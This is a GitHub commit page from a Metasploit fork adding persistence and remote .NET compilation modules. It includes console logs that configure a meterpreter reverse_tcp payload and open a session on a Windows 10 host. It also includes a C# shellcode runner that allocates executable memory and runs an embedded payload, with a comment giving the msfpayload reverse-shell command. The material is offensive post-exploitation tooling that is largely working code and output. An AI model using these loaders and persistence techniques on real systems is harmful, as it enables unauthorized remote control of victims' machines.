Skip to content

Commit f6353b1

Browse files
author
Brent Cook
committed
Land rapid7#5393, add remote .NET code compilation and persistence
2 parents 1b06e62 + bd24e7e commit f6353b1

File tree

12 files changed

+1328
-363
lines changed

12 files changed

+1328
-363
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
2+
## Example Usage
3+
4+
```
5+
msf exploit(handler) > use exploit/windows/local/ps_persist
6+
msf exploit(ps_persist) > set session -1
7+
session => -1
8+
msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp
9+
payload => windows/meterpreter/reverse_tcp
10+
msf exploit(ps_persist) > set lhost 192.168.56.1
11+
lhost => 192.168.56.1
12+
msf exploit(ps_persist) > set lport 4445
13+
lport => 4445
14+
msf exploit(ps_persist) > show options
15+
16+
Module options (exploit/windows/local/ps_persist):
17+
18+
Name Current Setting Required Description
19+
---- --------------- -------- -----------
20+
OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension
21+
SESSION -1 yes The session to run this module on.
22+
START_APP true no Run EXE/Install Service
23+
SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service
24+
SVC_GEN false no Build a Windows service, which defaults to running as localsystem
25+
SVC_NAME MsfDynSvc no Name to use for the Windows Service
26+
27+
28+
Payload options (windows/meterpreter/reverse_tcp):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
33+
LHOST yes The listen address
34+
LPORT 4445 yes The listen port
35+
36+
37+
Exploit target:
38+
39+
Id Name
40+
-- ----
41+
0 Universal
42+
43+
44+
msf exploit(ps_persist) > run
45+
46+
[*] Started reverse TCP handler on 192.168.56.1:4445
47+
[+] - Bytes remaining: 9664
48+
[+] - Bytes remaining: 1664
49+
[+] Payload successfully staged.
50+
[*] Sending stage (957999 bytes) to 192.168.56.101
51+
[+] Finished!
52+
[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500
53+
54+
meterpreter > sysinfo
55+
Computer : DESKTOP-B8ALP1P
56+
OS : Windows 10 (Build 14393).
57+
Architecture : x64 (Current Process is WOW64)
58+
System Language : en_US
59+
Domain : WORKGROUP
60+
Logged On Users : 2
61+
Meterpreter : x86/win32
62+
```
63+
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
## Example Session
2+
3+
/tmp/hello.cs contains the following:
4+
5+
```
6+
using System;
7+
8+
public class Hello
9+
{
10+
public static void Main()
11+
{
12+
Console.WriteLine("Hello, World!");
13+
}
14+
}
15+
```
16+
17+
To build and run the code:
18+
19+
```
20+
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
21+
msf post(build_net_code) > set SESSION -1
22+
SESSION => -1
23+
msf post(build_net_code) > show options
24+
25+
Module options (post/windows/manage/powershell/build_net_code):
26+
27+
Name Current Setting Required Description
28+
---- --------------- -------- -----------
29+
ASSEMBLIES mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll no Any assemblies outside the defaults
30+
CODE_PROVIDER Microsoft.CSharp.CSharpCodeProvider yes Code provider to use
31+
COMPILER_OPTS /optimize no Options to pass to compiler
32+
OUTPUT_TARGET no Name and path of the generated binary, default random, omit extension
33+
RUN_BINARY false no Execute the generated binary
34+
SESSION -1 yes The session to run this module on.
35+
SOURCE_FILE yes Path to source code
36+
37+
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
38+
SOURCE_FILE => /tmp/hello.cs
39+
msf post(build_net_code) > run
40+
41+
[*] Building remote code.
42+
[+] File C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe found, 3584kb
43+
[+] Finished!
44+
[*] Post module execution completed
45+
msf post(build_net_code) > sessions -i -1
46+
[*] Starting interaction with 1...
47+
48+
meterpreter > shell
49+
Process 4840 created.
50+
Channel 7 created.
51+
Microsoft Windows [Version 10.0.14393]
52+
(c) 2016 Microsoft Corporation. All rights reserved.
53+
54+
E:\metasploit-framework>C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
55+
C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
56+
Hello, World!
57+
```
58+
59+
You can also run the code automatically:
60+
61+
```
62+
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
63+
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
64+
SOURCE_FILE => /tmp/hello.cs
65+
msf post(build_net_code) > set RUN_BINARY true
66+
RUN_BINARY => true
67+
msf post(build_net_code) > set SESSION -1
68+
SESSION => -1
69+
msf post(build_net_code) > run
70+
71+
[*] Building remote code.
72+
[+] File C:\cygwin64\tmp\QuEQSEifJOe.exe found, 3584kb
73+
[+] Hello, World!
74+
75+
[+] Finished!
76+
[*] Post module execution completed
77+
```
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
using System;
2+
using System.Runtime.InteropServices;
3+
4+
namespace Wrapper
5+
{
6+
class Program
7+
{
8+
[Flags]
9+
public enum AllocationType : uint
10+
{
11+
COMMIT = 0x1000,
12+
RESERVE = 0x2000,
13+
RESET = 0x80000,
14+
LARGE_PAGES = 0x20000000,
15+
PHYSICAL = 0x400000,
16+
TOP_DOWN = 0x100000,
17+
WRITE_WATCH = 0x200000
18+
}
19+
20+
[Flags]
21+
public enum MemoryProtection : uint
22+
{
23+
EXECUTE = 0x10,
24+
EXECUTE_READ = 0x20,
25+
EXECUTE_READWRITE = 0x40,
26+
EXECUTE_WRITECOPY = 0x80,
27+
NOACCESS = 0x01,
28+
READONLY = 0x02,
29+
READWRITE = 0x04,
30+
WRITECOPY = 0x08,
31+
GUARD_Modifierflag = 0x100,
32+
NOCACHE_Modifierflag = 0x200,
33+
WRITECOMBINE_Modifierflag = 0x400
34+
}
35+
36+
public enum FreeType : uint
37+
{
38+
MEM_DECOMMIT = 0x4000,
39+
MEM_RELEASE = 0x8000
40+
}
41+
42+
[DllImport("kernel32.dll", SetLastError = true)]
43+
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
44+
45+
[DllImport("kernel32.dll")]
46+
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
47+
48+
[DllImport("kernel32")]
49+
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
50+
51+
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
52+
public delegate Int32 ExecuteDelegate();
53+
54+
static void Main()
55+
{
56+
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
57+
string shellcode = "MSF_PAYLOAD_SPACE";
58+
59+
60+
byte[] sc = new byte[shellcode.Length];
61+
62+
for (int i = 0; i < shellcode.Length; i++)
63+
{
64+
sc[i] = Convert.ToByte(shellcode[i]);
65+
}
66+
67+
// Allocate RWX memory for the shellcode
68+
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
69+
70+
try
71+
{
72+
// Copy shellcode to RWX buffer
73+
Marshal.Copy(sc, 0, baseAddr, sc.Length);
74+
75+
// Get pointer to function created in memory
76+
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
77+
78+
del();
79+
}
80+
finally
81+
{
82+
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
83+
}
84+
}
85+
}
86+
}

0 commit comments

Comments
 (0)